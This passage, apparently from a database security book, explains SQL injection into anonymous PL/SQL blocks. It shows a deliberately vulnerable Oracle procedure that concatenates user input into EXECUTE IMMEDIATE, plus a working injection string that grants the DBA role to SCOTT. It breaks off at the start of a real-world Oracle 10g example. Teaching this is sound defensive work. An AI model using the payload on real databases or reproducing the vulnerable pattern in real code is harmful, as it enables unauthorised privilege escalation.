The Database Hacker's Handbook: Defending Database Servers

Injecting into Anonymous PL/SQL Blocks

Although an anonymous PL/SQL block, by definition, is not associated with any procedure or function, stored PL/SQL programs can execute anonymous PL/SQL from within their code. For example, consider the following:

CREATE OR REPLACE PROCEDURE ANON_BLOCK(P_BUF VARCHAR2) AS
STMT VARCHAR2(200);
BEGIN
      STMT:= 'BEGIN ' ||
            'DBMS_OUTPUT.PUT_LINE(''' || P_BUF || ''');' ||
            'END;';
      EXECUTE IMMEDIATE STMT;
END;
Executing this procedure as follows
EXEC ANON_BLOCK('FOOBAR');
returns
FOOBAR
PL/SQL procedure successfully completed.

If an attacker can inject into anonymous PL/SQL blocks, as can be done with this ANON_BLOCK procedure, then the attacker pretty much can do whatever he likes constrained only by the privileges of the definer. Assuming this ANON_BLOCK procedure was defined by the SYS user, an attacker could inject into this a GRANT statement to become a DBA.

EXEC ANON_BLOCK('F''); EXECUTE IMMEDIATE ''GRANT DBA TO SCOTT''; END; --');

This changes the original anonymous PL/SQL block from

BEGIN
DBMS_OUTPUT.PUT_LINE('F');
END;
to
BEGIN
DBMS_OUTPUT.PUT_LINE('F');
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
END;
--');END;

Once executed SCOTT has been granted the DBA role and by issuing

SET ROLE DBA

SCOTT takes on the full privileges of a DBA and all that that entails.

Real-World Examples

Although this ANON_BLOCK is a fairly contrived example, this does happen in the “real world.” In Oracle 10g, for example, PUBLIC can execute the GET_DOMAIN_INDEX_METADATA ...